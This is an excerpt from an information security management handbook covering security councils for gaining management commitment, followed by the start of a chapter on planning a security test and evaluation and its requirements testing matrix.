Relating the organization to the human body is useful in understanding the role of information security and the current level of cultural support.
204
Information Security Management Handbook
Organizational culture is developed over time; however, the culture experienced is the present state, or something that is realized in the current moment. Cultures are also strongly influenced by the leaders of the organization and their actions. Thus, if the organization has experienced significant change in the senior leadership, the culture will also have difficulty sustaining the direction. The lesson learned from this is that security must be continually worked into the organization, as previous key supporters may have moved on to other positions or companies. This is also why it is necessary to build a broad base of support, so as leaders move on the security principles can be retained by those who move into their positions. Organization cultural views toward information security can be viewed simplistically as high, moderate, and low. The following definitions could be utilized to assess the current cultural mindset: • High. Senior management brings information security into the discussion on new projects. An information security officer is established at high levels within the organization, minimally at a director or vice president level. Information systems development projects incorporate information security within the systems analysis, design, testing, implementation, and maintenance phases of every major project. Information security professionals are engaged in the design of the applications. Updates are made on a periodic basis to the company board of directors. All employees are aware of the importance of information security and understand how to report incidents. Audit findings are minimal and are addressed through a managed process. Many times, the audit findings highlight previously known issues that have current project plans to address the vulnerability or weakness. Budgets are established with funding levels to support an ongoing security program along with the provision to review supplemental projects in the same process as other high-profile projects. Senior leadership considers security to be a business risk reducer and an enabler of new products or services and actively supports security efforts through their actions (participation, funding, authorizations). • Moderate. People within the organization have received some training on information security. An individual has been assigned the information security role, usually at the supervisor or manager level buried within the information technology department, primarily because a regulation or auditor suggested that they have someone in this role. Security policies exist, but they have been primarily created within the information technology department and may not have widespread support or knowledge of where they are located. Applications are developed with an understanding of security principles; however, not all applications are verified before moving to the next phase of development. Senior management has typically delegated the understanding of information security to the CIO and trusts that the CIO is keeping the environment secure. A staff is budgeted for information security and typically consists of security administration operational activities (e.g., account setups, password resets, file access) and a few security projects that are key for implementing a few critical organizational initiatives. Audit findings are responded to in a reactive fashion and typically become the impetus for change and obtaining support for future initiatives. • Low. If security policies do exist, they are usually issued by a memo in reaction to an incident that has occurred. Policies may be created by copying one of the many canned policies without the means to enforce them or procedures in place to promote compliance. Information security is thought of as the log-in ID/password guys, the virus guys, and the guys who maintain the firewalls in the organization. Security is often sold by fear, anxiety, and doubt, with a technical person highlighting the latest hacker attack to explain why the organization needs to invest more money in information security. Auditors frequently locate missing paperwork for user requests, and the common initial password set and resets are equal to the log-in ID, TEMP123, password, or Monday. Senior management intuitively knows that information security is important, but it assigns the same level of importance as ensuring that the computer system is up. Funding is not specific to information security and is usually part of a budget for network support, systems administration, or technical support.
Building Management Commitment through Security Councils
205
TABLE 16.1 Sample Security Council Mission Statement The Information Security Council provides management direction and a sounding board for ACME Company’s information security efforts to ensure that these efforts are: Appropriately prioritized Supported by each organizational unit Appropriately funded Realistic given ACME’s information security needs Balanced with regard to cost, response time, ease of use, flexibility, and time to market The Information Security Council takes an active role in enhancing ACME’s security profile and increasing the protection of its assets through: Approval of organizationwide information security initiatives Coordination of various workgroups so security goals can be achieved Promoting awareness of initiatives within their organizations Discussion of security ideas, policies, and procedures and their impact on the organization Recommendation of policies to ACME’s Information Technology Steering Committee Increased understanding of the threats, vulnerabilities, and safeguards facing the organization Active participation in policy, procedure, and standard review ACME’s Information Technology Steering Committee supports the Information Security Council by: Developing the strategic vision for the deployment of information technology Establishing priorities and arranging resources in concert with the vision Approving the recommended policies, standards, and guidelines Approving major capital expenditures
Each organization has different priorities, and the current culture of the organization may be a decided upon position but most likely has just resulted from the level of attention (or lack of) paid to information security. The good news is that, with the proper focus, organizations can move very quickly from low to high cultural levels.
Critical Success Factor 3: Establishing the Security Council The information security council forms the backbone for sustaining organizational support. The security council serves as the oversight for the information security program. The vision of the security council must be clearly articulated and understood by all members of the council. Before the appropriate representation of the council can be determined, the purpose of the council must be decided. Although the primary purpose is to provide oversight for the security program and provide a mechanism to sustain the organizational security initiatives, the starting point for each organization will depend upon the current organizational culture as discussed in the preceding section. A clear vision statement should exist that is in alignment with and supports the organizational vision. Typically, these statements draw upon the security concepts of confidentiality, integrity, and availability to support the business objectives. The vision statements are not technical and should focus on the advantages to the business. People will be involved in the council from management and technical areas and have limited time to participate, so the goal must be something that is viewed as worthwhile. The vision statement should be short and to the point and should drive the council toward an achievable, but stretch, goal. Mission statements are objectives that support the overall vision. These become the roadmap to achieving the vision and help the council clearly view the purpose for their involvement. Some individuals may choose nomenclature such as goals, objectives, or initiatives. The important point is not to get hung up in differentiating between these but rather to ensure that the council has statements that help frame how the council can operate to successfully attain the vision. A sample mission statement is provided in Table 16.1. Effective mission statements do not have to be lengthy, as the primary concern is to communicate the goals that they are readily understood by technical and nontechnical individuals. The primary mission of the security council will vary by organization but should include statements that address:
206
Information Security Management Handbook
• Security program oversight. By establishing this goal in the beginning, the members of the council begin to feel that they have some input and influence over the direction of the security program. This is key, as many security decisions will impact their areas of operation. This also is the beginning of management commitment at the committee level, as the deliverables produced through the information security program are now owned by the security council versus the information security department. • Decide on project initiatives. Each organization has limited resources (time, money, people) to allocate across projects to advance the business. The primary objective of information security projects is to reduce the organizational business risk through the implementation of reasonable controls. The council should take an active role in understanding the initiatives and the resulting business impact. • Prioritize information security efforts. When the security council understands the proposed project initiatives and the associated positive impact to the business, the members can be involved with the prioritization of the projects. This may be in the form of a formal annual process or may be through the discussion of and expressed support for individual initiatives. • Review and recommend security policies. Review of the security policies should occur through a line-by-line review of the policy, a cursory review of the procedures to support the policies, and a review of the implementation and subsequent enforcement of the policies. Through this activity, three key concepts are implemented that are important to sustaining commitment: (1) understanding of the policy is enhanced, (2) the practical ability of the organization to support the policy is discussed, and (3) buy-in is established for subsequent support of implementation activities. • Champion organizational security efforts. When the council understands and accepts the policies, they serve as the organizational champions behind the policies. Why? Because they were involved in the creation of the policies. They may have started reviewing a draft of the policy created by the information systems security department, but the resulting product was only accomplished through their review, input, and participation in the process. Their involvement in the creation creates ownership of the deliverable and a desire to see the security policy or project succeed within the company. A mission statement that incorporates the previous concepts will help focus the council and also provide the sustaining purpose for their involvement. The vision and mission statements should also be reviewed on an annual basis to ensure that the council is still functioning according to the values expressed in the mission statement, as well as to ensure that new and replacement members are in alignment with the objectives of the council.
Critical Success Factor 4: Appropriate Security Council Representation The security council should be made up of representatives from multiple organizational units that are necessary to support the policies in the long term. The human resources department is essential for providing information about the existing code of conduct, employment and labor relations, and the termination and disciplinary action policies and practices that are in place. The legal department is needed to ensure that the language of the policies states what is intended and that applicable local, state, and federal laws are appropriately followed. The information technology department provides technical input and information on current initiatives and the development of procedures and technical implementations to support the policies. Individual business unit representation is essential to developing an understanding of how practical the policies may be in terms of carrying out the mission of the business. Compliance department representation provides insight on ethics, contractual obligations, and investigations that may require policy creation. Finally, the information security department should be represented by the information security officer, who typically chairs the council, and members of the security team for specialized technical expertise.
Building Management Commitment through Security Councils
207
The security council should be made up primarily of management-level employees, preferably middle management. It is difficult to obtain the time commitment required to review policies at a detailed level by senior management. Reviewing the policies at this level is a necessary step toward achieving buy-in within management; however, it would not be a good use of the senior management level in the early stages of development. Line management is very focused on their individual areas and may not have the organizational perspective necessary (beyond their individual departments) to evaluate security policies and project initiatives. Middle management appears to be in the best position to appropriately evaluate what is best for the organization, in addition to possessing the ability to influence senior and line management to accept the policies. Where middle management does not exist, it is appropriate to include line management, as they are typically filling both of these roles (middle and line functions) when operating in these positions. The security council should be chaired by the information security officer (ISO) or the chief information security officer. The ISO is in a better position, knowledge-wise, to chair the council; however, politically it may be advantageous for the CIO to chair the council to communicate support through the information technology department. The stronger argument is for the council to be chaired by the ISO, as doing so provides for better separation of duties and avoids the “chicken in the henhouse” perception if the council is chaired by the CIO (even if the ISO does not report through the information technology organization). The CIO will have influence within the other IT-related steering committees. In addition to the ISO, the council should also have one or two members of the systems security department available to (1) provide technical security expertise, and (2) understand the business concerns so solutions can be appropriately designed.
Critical Success Factor 5: “Ing’ing” the Council … Forming, Storming, Norming, and Performing Every now and then, an organization will recognize that collaboration is not taking place between the functional departments and it is time to talk about enhancing the team development process. This is usually the result of a problem of not communicating between the departments. Why wait for the problems to occur? When committees are formed, they are not magically functional the moment they are formed but rather must go through a series of necessary steps to become an operational team. The classical four phases of team development are forming, storming, norming, and performing. Let’s visit each of the concepts briefly to see how they apply to the security council: • Forming. This is the stage where the efforts are moving from an individual to a team effort. Individuals may be excited about belonging to something new that will make a positive change. The tasks at hand and role of the council are decided (as identified in critical success factor 3). Teams should be communicating openly and honestly about their likes and dislikes, deciding what information must be gathered to carry out their mission, and engaging in activities that build trust and communication with each other. It is critical to draw out the responses of those who may tend to remain silent during the meetings, as they may be thinking some very valuable thoughts but afraid at this stage that their ideas may be rejected. • Storming. Now that the objectives are understood and the team has had the chance to discuss some of the challenges that they are tasked to resolve, doubt may settle in. Some members may become resistant to the tasks and return to their old comfort zones. Communication between members begins to erode, and different sections of the team form alliances to counter-positions. The team becomes divided, and minimal collaboration occurs between individuals. At this stage, it may be necessary to reestablish or change the rules of behavior for the council, negotiate the roles and responsibilities between the council members, and possibly return to the forming stage and answer any open questions about the purpose and clarity of the council. Finally, it is important to listen to the concerns of the council members and let them vent any frustrations, as they may have some very valid concerns that must be addressed to be successful.
208
Information Security Management Handbook
• Norming. At this stage, the members of the council begin to accept their roles, the rules of behavior, and their role on the team and respect the individual contributions that others on the team can provide. Now, wouldn’t it be nice if the storming stage could be skipped, and the security council just moved on to this stage? Think of a child learning to ice skate. The concept of ice skating is explained in vague terms such as, “Put these skates on your feet, then stand up, and skate around the rink.” The child has an idea of how this works because she has seen others skating and it looks pretty easy; however, when she stands up, she is in for a big surprise … boom! The same applies for teams. As much as individuals have seen other teams succeed and have worked on other teams, until the issues are actually addressed the team cannot understand how much the fall can hurt until this particular team actually falls down. As the norming stage progresses, competitive relationships may become more cooperative, more sharing occurs, the sense of being a team develops, and the team members feel more comfortable working together. This stage of development should focus on detailed planning, creating criteria for the completion of goals, and continuing to encourage the team and build on the positive behaviors demonstrated within the team and change the unhealthy ones. • Performing. The team is now functioning as a unit focused on the objectives of the security council. The team has the best opportunity at this stage to meet deadlines, utilize each member’s unique talents, and produce quality deliverables. The members of the team have gained insight into the unique contributions of everyone on the team and recognize that the team can accomplish much more than any one individual on the team. The security council may be formed in a day but does not become a team in a day. Understanding the path that every team traverses can be helpful in knowing where the team is currently functioning, in addition to allowing the application of strategies to move the team to the next stage. Depending on the organizational culture and the individuals involved, the security council may become a functioning team within weeks or months. What is important is that the commitment to getting to the team stage has a level of persistence and perseverance equal to the passion to build a successful security program within the organization.
Critical Success Factor 6: Integration with Committees As indicated earlier, management has limited time to be involved in efforts that may not seem to be directly related to their department. Examine the performance objectives and performance reviews of the management of most organizations, and it becomes readily apparent that the majority of the performance rewards are based on the objectives of the individual department goals. Typically, little incentive exists for participating to “enhance the corporate good,” even though that may be communicated by the organization’s vision, mission, and goals and objectives statements; therefore, committees that do not appear to provide a direct benefit or whose involvement is not seen as critical will be met with a lukewarm reception. So, when the information security department decides to add a few more committees, this is likely to be met with resistance. A practical approach is to examine the committees that are already established, such as an information technology steering committee, electronic commerce committee, standards committee, senior management leadership committee, or other committee that has a history of holding regularly scheduled (and attended!) meetings. Tapping into these committees and getting 30 minutes on the agenda reserved specifically for security will provide ample airtime for security issues and the appropriate linkage to the company decision makers. In committees such as the information technology steering committee, many of the issues discussed have information security issues embedded within them and attendance provides the mechanism to be at the table during discussion of these issues. Because the time allotment for discussing information security issues tends to decrease as the management chain is traversed to higher levels of management, it is important to ensure that the security council is established (as explained in critical success factor 3). Participation at the higher levels should be limited to review, discussion, and communication of initiatives and primarily decision making
Building Management Commitment through Security Councils
209
(approval of policies and projects). The senior management stamp of approval is necessary to win broad organizational support and is a key component for successful implementation. If the security council does not perceive that the recommendations are important to the senior leadership, it will lose interest. If the security policies are not approved by the senior leadership, organizational management and staff support will also dissipate; therefore, it is important to get on the agenda and stay on the agenda for every meeting. This also creates the (desired) perception that security is an ongoing business process necessary to implement the business objectives. When it has been decided which committees would be the best candidates for integration, then the process for how the committees will function together has be decided. Is the IT steering committee the mechanism for policy and project approval? Does their approval depend on a dollar threshold? How are changes to the security policies made at this level? Do they go back to the security council for another review, or are they changed and considered final at this point? Much of this will depend upon each individual cultural norm of how teams and committees function.
Critical Success Factor 7: Establish Early, Incremental Success Organizations tend to get behind individuals and departments that have demonstrated success in their initiatives because they believe that the next initiative will also be successful. Organizations lose patience with 15- to 18-month initiatives (these tend to be labeled as long-term strategies these days). Projects should be divided into smaller discrete deliverables as opposed to trying to implement the entire effort. This allows the organization to reap the benefits of an earlier implementation while waiting for the results of the longer term initiative. The early initiative may also help shape or redefine the longer term initiative through the early lessons learned. The early initiatives should provide some benefit to the organization by making their processes easier, enabling new business functionality, providing faster turnaround, reducing paper handling, and making more efficient or effective processes. The primary objective should not be something that benefits the information security department but rather something that provides benefit to the business (although it most likely will provide information security benefit even though this is not the “sell”). Management may be skeptical that the investment in information security will produce an equal amount of benefits. Nothing helps future funding opportunities more than establishing a track record of (1) developing projects that contribute to the business objectives, (2) establishing cost-effective aggressive implementation schedules, (3) delivering on time, (4) delivering within budget, and (5) delivering what was promised (at a minimum).
Critical Success Factor 8: Let Go of Perfectionism Imagine someone who has been a dancer for 15 years, dancing since she was 2-1/2 years old and practicing a couple of nights a week to learn jazz and ballet. Imagine the hours of commitment that were required to make movements that would be difficult for most of us appear to be purposeful and graceful and flow with ease. Imagine that it is the big night for showcasing this enormous talent — the recital — and the dancer is rightfully filled with excitement in anticipation of performing in front of friends and family. As the curtain rises, and the dancers are set to begin the performance, the dancer’s hairpiece falls off. Oh, no! What to do? Should she stop and pick up the hairpiece? If she doesn’t, will the other dancers have to keep an eye on the floor to avoid stepping on the hairpiece? Does the dancer break into tears? Does she stop and say, “I messed up?” No, none of the above. Although it is preferred that the dancers firmly attach their hairpieces and that is what was planned for and practiced, in the scope of the dance it is not a big deal. In fact, few people in the audience would actually notice it unless it was pointed out by the dancer. The dancer dances on, smiling with great pride, demonstrating the skill that she possesses to the audience’s delight. We should all strive to perform to the best of our ability. The argument could be made that the security profession is made up of many individuals who are control and detail oriented and are analytical and logical decision makers. These characteristics suit the profession very well, as these attributes are many
210
Information Security Management Handbook
times necessary to master the information security skills; however, another trait inherent to the profession is that of perfectionism, the need to get it right, to do the right thing. Security professionals often use the terms “must” and “will” versus “should” and “might.” For example, imagine a security policy written as, “As an employee, you may create an eight-character password made up of a combination of the alphabet, numbers, and special characters, or you may choose something less if you have a hard time remembering it. If KATE123 or your dog’s name is easier to remember, then just use that.” That would be absurd — we tell users not only the rules but also how to implement them and that they must do that action. Carrying the perfectionist standard forward into every project is a recipe for failure. First of all, resulting project costs will be higher trying to get everything right. Second, the time to implement will be longer, and opportunities to create some business benefit may be missed. When other individuals across the business units are asked to participate in security initiatives, they may not have a complete understanding of what is expected of them, and some tolerance for this gap in understanding should be accounted for. It may be that they believe that they are supplying the appropriate level of support or are completing the deliverables accurately, given their knowledge of what was communicated to them. The minimum expected deliverable for security initiatives should be that if 80 percent of the goal is completed, then the risk absorbed by the company is considered as reasonable. Achieving the remaining 20 percent should be viewed as the component which, if implemented, would return increased benefits and opportunities but is not necessary to achieve the minimum level of risk desired. Taking this posture allows the information security initiatives to drive toward perfection but does not require attainment of complete perfection to maintain a reasonable risk level. This approach keeps the costs of security implementations in balance with the reduction of risk objectives.
Critical Success Factor 9: Sustaining the Security Council Humpty Dumpty sat on the wall, Humpty Dumpty had a great … Well, we know the rest of this story. Putting the pieces back together again is much more difficult than planning for the fall. As mentioned in the “ing’ing the council” critical success factor, the team will go through various stages. Frustration, boredom, impatience, and inertia may set in as the size of the effort is realized or the members’ roles in the process become blurred. When we know that something is likely to occur, it is much easier to deal with. Understanding that these events will occur can help the security council to continue its mission and not give up hope. The council may be viewed by members of the organization as a vehicle for resolving security issues. Alternatively, the council may be viewed as a committee that produces no tangible benefits and consumes the most valuable resource, time. The truth is that both views will exist simultaneously within the organization, depending on how the council affects each person’s individual role. At times, some council members will become disinterested, and it may be necessary to bring in some new blood, thereby expanding the knowledge of the council as well as injecting some new ideas and skills into the team. When this is done, it is important to revisit the mission and vision steps as this person and the rest of the team (with respect o the new individual) is repeating the forming, storming, norming, and performing process.
Critical Success Factor 10: End-User Awareness The existence of the security council and its relationships with the other committees should be embedded in the security awareness training for every end user within the organization. By establishing the message that the security policies are business decisions (versus information technology decisions emanating from the information systems security department), greater acceptance for their implementation is likely. If the message is constructed in such a way that it is clear that middle management and senior management have reviewed and agree with all of the policies line by line, this can be a very powerful message. Line managers and supervisors are less likely to ignore the policies when they understand that the directives are coming from management and not another functional unit that they consider to be their peers. This assumes that the organization is following the necessary practice of training all management with the security training as well as the end users.
Building Management Commitment through Security Councils
211
If multiple organizational units (e.g., IT steering committees, executive leadership team reviews, focused business or technical workgroups) are participating in the policy development and review process, in addition to the security council, then the relationships between these committees and their associated functions should be explained in concise terms at a high level. For example, if the role of the security council is to review and recommend policies to the IT steering committee, which approves the policies, then these basic functions should be stated so the end users understand the role. If the role of the security council is to establish the security strategy for the organization, prioritize projects, and implement the mission through these initiatives, then that should be stated as well. The advantage to having the end users understand the role of the security council is threefold in that it (1) helps them to understand how these policies are created, (2) conveys the message that their management is involved in the direction of information security (versus security mandates), and (3) provides incentive to keep their own management in line with the security policies. Is end user awareness of the security council’s existence really a critical success factor? To answer that question, we need to look no further than what the ultimate goal of a security program should be — to have every user of an organization’s information protect it with the same diligence as if it was the purse on her shoulder or a wallet in his back pocket. The answer is you bet! While they may not need to understand the working dynamics of the security council, end users do need to understand that the organizational structure exists, is operating, and is effective at balancing the needs of security and the need to operate the business.
Conclusion Security councils provide an excellent mechanism to serve as a sounding board for the information security program and test the vision, mission, strategies, goals, and objectives initiated by the security department. They are excellent mechanisms for establishing buy-in across middle management and subsequently senior management and the end users of the organization. Without them, the information security officer is working in isolation, trying to move initiatives forward, obtaining business management support one person at a time. Security councils are much more effective in establishing the necessary collaboration and ensuring that all points of view are provided a chance to be expressed. The security council must produce some early successes in order to sustain the commitment of the individuals, each of whom has limited time which could be expended elsewhere. When it comes to committee involvement, people have a choice. Yes, it may be possible to get the individuals to physically show up for a few meetings, but to win their hearts and active participation the council must have a purpose that it is driving toward. At times, this purpose may not be clear, but the council must still be sustained by the leader’s belief in the value of the council and the creation of activities when decisions are needed. Establishing the security council may be seen as threatening to some managers at first, as it means that now some decisions will not be made by the security manager, director, or officer but rather by the security council. Some security leaders may not want that sort of insight into or control of their activities; however, to be truly effective and truly maintain management commitment, the continued participation by business unit managers is essential. This can also be established informally without a security council, but the time commitment is much greater and the collaboration between the business unit managers is less likely to occur. The security council is not the answer to resolving all of the management commitment issues, as there will always be other business drivers impacting the decisions. Mergers and acquisitions may put security efforts on hold. Debates over the constraints of the technology on the business operations may stall projects. Budget constraints due to a drop in sales volume or public sector funding may preclude security investments. Acceptance of risk by insurance or outsourcing initiatives may change the company’s security posture. Other company high-priority projects may consume the necessary internal resources for security projects. Each of these can serve to limit the information security focus and related investments. These are normal events in the course of business; however, consider the individual responsible for information
212
Information Security Management Handbook
security who has to address these issues alone (lack of management commitment) versus acting on these issues with the collaboration of the security council (supportive management commitment) and the advantages of the security council can be readily appreciated.
Final Thoughts The word commitment, according to the Merriam-Webster Dictionary of Law, is defined as “an agreement or promise to do something in the future.” According to the Merriam-Webster Medical Dictionary, commitment is defined as “a consignment to a penal or mental institution.” As security practitioners, it is hoped that we could agree that the former definition is much preferred over the latter. Alternatively, if we fail to obtain the lawyers’ definition of commitment, we might end up with the medical definition of commitment. Management commitment is not something that can be held, touched, or seen; rather, it is a state of being. It is also a current state, subject to change at any moment. The level of commitment is arrived at by management’s memory of historical events that led up to the present and pave the path for the future. If these experiences have not been good, then their commitment to spending large investments on future security initiatives will also not be good; therefore, appropriate care must be taken to deliver on the promises made through the security council by the security team, information technology departments, and the business unit representatives, or the next project will not be met with enthusiasm. Security councils are an essential element to building management commitment, and continued delivery provides the necessary oxygen to keep the council functioning. Commitment is the two-way street. If commitment is expected from management, when it is obtained the security program must also be committed to deliver on the expectations agreed upon. Doing less results in withdrawals from the goodwill that has been established; doing more creates increased satisfaction and confirmation that the investment choices supported by management were, in fact, the right choice. This also increases their trust in their own ability to make decisions supporting the security program. Finally, each security officer should evaluate his or her own commitment to enhancing the security of the organization and the current cultural view towards security. Where does the organization stand? It will feel uncomfortable at first to establish the council, but it is well worth the effort. So, assemble the security champions from legal, information technology, human resources, and individual business units, and begin. Today.
17 Developing and Conducting a Security Test and Evaluation Sean M. Price
Introduction System security is a composition of people, processes, and products. People are system users, administrators, and managers. Processes represent the operational aspects of the system which are manual or automated. Products are the physical and intangible attributes such as facilities and the hardware and software components that make up a system. Generally, each of these groups is subject to the same security requirements; however, each grouping faces its own unique challenge regarding consistent compliance with established requirements. People may not know, understand, or follow security rules. Processes sometimes become antiquated or have flaws in them that expose a system to a threat. Product implementations are challenged by security patch updates and insecure configurations. Interaction between these groups forms a basis of productivity within an organization. This interaction creates a complex situation when each group interacts with another aspect. Each group is dynamic in nature. The activities of each can change on a regular basis. People come and go in organizations. Processes are changed to adapt to new operational environments. Hardware and software are changed with the advance of technology. With every change comes the possibility of nonconformance with security requirements. This gives rise to a need to perform comprehensive system security reviews on a periodic basis. A security test and evaluation (ST&E) is a validation of system compliance with established security requirements. The ST&E is a snapshot in time of the overall security posture. It is an important security management tool used to assess system conformance to established security requirements. The scope of an ST&E includes people, processes, and products affected by security. Although security requirements may seldom change, the system configuration, users, applications, and architecture might be in continual flux. The ST&E is an audit of implementation of the security policy by the system and a validation of the proper operation of the implemented security controls. A properly conducted ST&E provides management with an objective view of the security posture of a system. Individuals conducting the ST&E should not have management, administrative, or development responsibilities on the system. Appropriate separation of duties ensures the integrity of the ST&E process. The test procedures and results should also be clearly documented. The associated documentation should be in enough detail to give subsequent evaluators the ability to reproduce tests conducted and obtain similar results if the system has not changed.
213
214
Information Security Management Handbook
Several other types of security reviews are commonly conducted on systems, including vulnerability assessments, risk assessments, and penetration testing. The purpose of a vulnerability assessment is to determine if a system has exposed vulnerabilities. Typically, a vulnerability assessment is conducted using host- and network-based scanners. These tools usually look for misconfigured or unpatched system components. Vulnerability scans are helpful in determining weaknesses or noncompliance of system products with security requirements. Risk assessments use quantitative and qualitative measurements to determine the potential loss that might occur if a threat takes advantage of a weak control. These assessments are tools used by management to allocate resources to protect systems and data. Risk assessments do not validate that a system does or does not support a particular requirement; however, identification of an unacceptable risk in a given area of people, processes, or products may generate new security requirements. Penetration testing is an overt or covert attempt to gain access to a system. Properly planned penetration tests implement a variety of processes but generally make use of ad hoc procedures to accomplish their goals. Penetration testing can identify weaknesses in people, processes, and products; however, penetration testing is not comprehensive and is based more on verifying best-business practices or combating popular attack methods than on validating system conformance to a security policy or requirements. Each of the aforementioned types of reviews serves a valuable purpose, but none of them fully validates conformance to all established security requirements.
Why Do a Security Test and Evaluation? A properly conducted ST&E provides organizational and systems managers with a comprehensive audit of the security controls of a system. Performing a security audit provides organizations with evidence that can be reviewed by external entities. Many organizations within the United States are bound by laws and regulations that require some type of security review. Laws such as the Sarbanes–Oxley (SOX) Act, Health Insurance Portability and Accountability Act (HIPAA), Federal Information Security Management Act (FISMA), and Gramm–Leach–Bliley Act (GLBA) require some form of security review for the entities affected by these regulations. Beyond the legal requirements, business needs and requirements may dictate that a system provide some level of confidentiality, integrity, and availability. A comprehensive review of the controls provides management with some level of assurance regarding the security posture of the system. Where security controls are lacking or excessive, management can make risk-based decisions regarding which controls to implement or forego. Management decisions regarding the security controls to implement shape the security requirements necessary for a given system.
Security Test and Evaluation Methods An ST&E requires a comprehensive review of the interaction among people, processes, and products with regard to identified security requirements. This is accomplished through interviews, observations, and document and technical reviews. Each requirement identified is tested with the appropriate review: • Interviews — Users, managers, and system administrative personnel are asked questions regarding system security processes. Interviews support the gathering of abstract data that is not likely to be found on a system. For example, there may be a requirement such as “all users must participate in security awareness training annually.” This requirement may be monitored electronically, but it is more likely that it is not. Organizational personnel may be asked if they have received or given the required training. The results might be corroborated by further by having users answer questions that demonstrate they have received the training. • Observations — Some security requirements may be implemented in a manual process. To illustrate consider the requirement that “all users must secure their workstations prior to departing the immediate area.” This may be interpreted to mean that users must log off or lock their sessions prior to leaving the facility. This requirement could be tested through interviews but is more appropriately assessed by physically observing workstations before, during, and after working
Developing and Conducting a Security Test and Evaluation
215
hours. Partial or noncompliance with the security requirement would be noted if a session was not secured and the user had left the facility. Additionally, some physical and environmental security requirements are tested through observations. Limiting access to servers and the implementation of fire suppression equipment are examples of physical security and environmental requirements that are validated through observations. • Document reviews — The implementation of a security requirement can involve the generation of security-relevant documentation. Some examples of required documentation include memoranda, system security plans, configuration guides, risk assessments, accreditation packages, or security agreements. Documentation should be reviewed for conformance, completeness, and accuracy. Artifact documents, such as batch completion reports and audit logs, produced through business operations should also be included in document reviews. • Technical reviews — Systems should be designed and implemented to support security requirements. A review of the hardware and software controls demonstrates system compliance with the identified requirements. This review consists of all technical aspects regarding design, configuration, and update management of a system.
Security Requirements The first step in developing an ST&E is to identify all applicable security requirements. Policies, procedures, standards, and guides within an organization provide the principle source of security requirements. Other sources include government laws and regulations, parental organization policies, industry standards, best business practices, previous risk assessments, and system security or engineering documentation. Ultimately, organizational and system management must determine what constitutes the system security requirements. For the remainder of this chapter, the term policy documents refers to the list of all documents, regardless of origin or type, that are used to derive security requirements. Security requirements are decomposed from the identified policy documents. Each sentence in the document indicating a required implementation is a policy statement. Policy statements may be decomposed into one or more security requirements. To illustrate consider the following: The audit mechanism must be configured to record the following types of events: Log-on and logoff activities, object access, deletion of objects, administrator actions, and other security relevant events. The audit record must identify for each event: the date and time of the event, user, type of event, success or failure of the event, terminal, and user identification. Each sentence is considered a policy statement; however, each policy statement has multiple parts. The first sentence could be accepted in its entirety as a security requirement, or it could be decomposed into the following requirements: • AUD1 — The audit mechanism must be configured to record: AUD1.1, Log-on activities AUD1.2, Log-off activities AUD1.3, Object access AUD1.4, Object deletion AUD1.5, Administrator activities AUD1.6, Other security-relevant events • AUD2 — Each audit record must contain: AUD2.1, Date of the event AUD2.2, Event time AUD2.3, Terminal identification AUD2.4, User identification At first glance, the decomposition process seems straightforward, but various interpretations must be considered; for example, does “object access” also mean object creation? This requirement may be
216
Information Security Management Handbook
interpreted two different ways. First, it may be interpreted that any access that may include the creation of an object must be recorded in the audit record. Second, it could be interpreted to suggest that object access applies only to objects that already exist, excluding the need to record object creation events. This quandary may seem trivial, but a more difficult issue resides in the last requirement. What exactly constitutes other security relevant events? How should this be interpreted? Clearly, an interpretation of these requirements must be made and documented. Documenting interpretations provides subsequent reviewers with the ability to more accurately repeat the tests conducted and understand the reasoning behind the content. Furthermore, it provides consistency within the security tests conducted by different individuals in the same organization abiding by the same requirements. Another important aspect of policy interpretation is its scope. To what extent should a policy statement span a given system? Returning to our audit requirement example provides us with more points of view to consider in a given system. For example, a system with a Web-based front end for a database has at least four important aspects: network devices such as routers, firewalls, operating systems, and a database management system (DBMS). Each system component indicated may have an audit mechanism capability. With the exception of the workstation and server, each component also has a unique audit format. With regard to the audit requirement, where should auditing be required? Conservatively, each component monitors separate types of events and objects in the system and thus would require auditing at each level. The router logs connections. The firewall monitors ports and protocols. The server handles system authentication, and the DBMS can audit individual record access. Clearly, these diverse components provide a multitude of audit points within the system; however, some may interpret the requirement more liberally to say that auditing is only required on the server because it is the primary mediator for system access. It is possible that a requirements analysis will reveal gaps in the policy. In this situation, a recommendation should be given to management identifying the issue and proposing a new requirement in the form of a policy.
Grouping Requirements It is advisable to group requirements according to their focus. Grouping requirements is a way to manage policy statements from diverse sources. A suggested strategy is to group requirements into management, operational, and technical groups: • Management — This group represents those requirements that are primarily people orientated. Management in this sense refers to the nontechnical aspects of people security management. It is, in essence, security management of people and oversight requirements for system managers and owners. Examples of management requirements include security documentation, rules of behavior, and manager reporting and oversight responsibilities. Most of the tests conducted for this group involve interviews and document reviews. • Operational — Requirements involving processes should be placed in this group. Some activities that are security processes include anti-virus signature updates, system backups, patch management, and audit log review and analysis. Testing of operational security requirements should primarily involve documentation reviews and observations. • Technical — The technical group includes those requirements that are product orientated. Security requirements that are directly related to a product configuration or implementations should be in this group. Examples, of technical requirements supported by a system include audit log settings and password expiration settings. Typically, technical and observation types of tests are conducted for this group. Decomposing requirements takes time, attention to detail, patience, and, more importantly, peer review. Development of a security requirements testing matrix should be a group effort whenever possible. The final product should be supported by upper management.
Developing and Conducting a Security Test and Evaluation
217
Security Test Development and Implementation Security testing validates a systems conformance with established security requirements. The ultimate purpose of a test is to determine if a control is implemented correctly to support or enforce a security requirement established by policy. Mapping test procedures to requirements is necessary to manage the testing process. One way to do this is to establish a security requirements testing matrix (SRTM). The SRTM is a security requirements management tool that has two parts. The first part is used to manage the life cycle of a security requirement. As requirements or tests change, it is helpful to know the history of a particular requirement or procedure. This can be done through the use of a matrix. The following suggested components of a matrix provide a way of developing a central management repository for security requirements: • Requirement number — Each requirement with a given interpretation is matched to a single test or group of tests. • Start date — Start date is the first date this requirement implementation becomes effective. • End date — End date is the retirement date of the implementation. • Supercede number — This corresponds to an implemented requirement that supercedes this requirement. This date is only entered when a requirement has an end date. Identifying requirement succession provides external reviewers with a record of changes in security management practices. • Requirement — This is the requirement statement extracted from the policy. • Primary source — This is the identification information demonstrating the source of the requirement statement. • Related requirements — This is a list of the locations of related requirements from other sources. • Dependent requirement numbers — This is a list of requirement numbers that would result in an automatic noncompliance if the system is found to be noncompliant with this requirement: • I — Identifies a test that requires interviews. • D — Demonstrates the need for a documentation review for the security test. • O — Indicates that an observation type of test procedure is required. • T — Technical testing procedures are used to satisfy this requirement. • System applicability — This is a list of system names or identifications that must support the requirement. • Interpretation — This provides an area to record management interpretations of policy statements. • Procedures — This is a list of procedure numbers that must be performed to validate system compliance with the requirement. The second part of the SRTM is used to manage procedures. Each procedure developed should be tracked in a similar manner as requirements. The following headers are suggested for each procedure tracked in the SRTM: • • • •
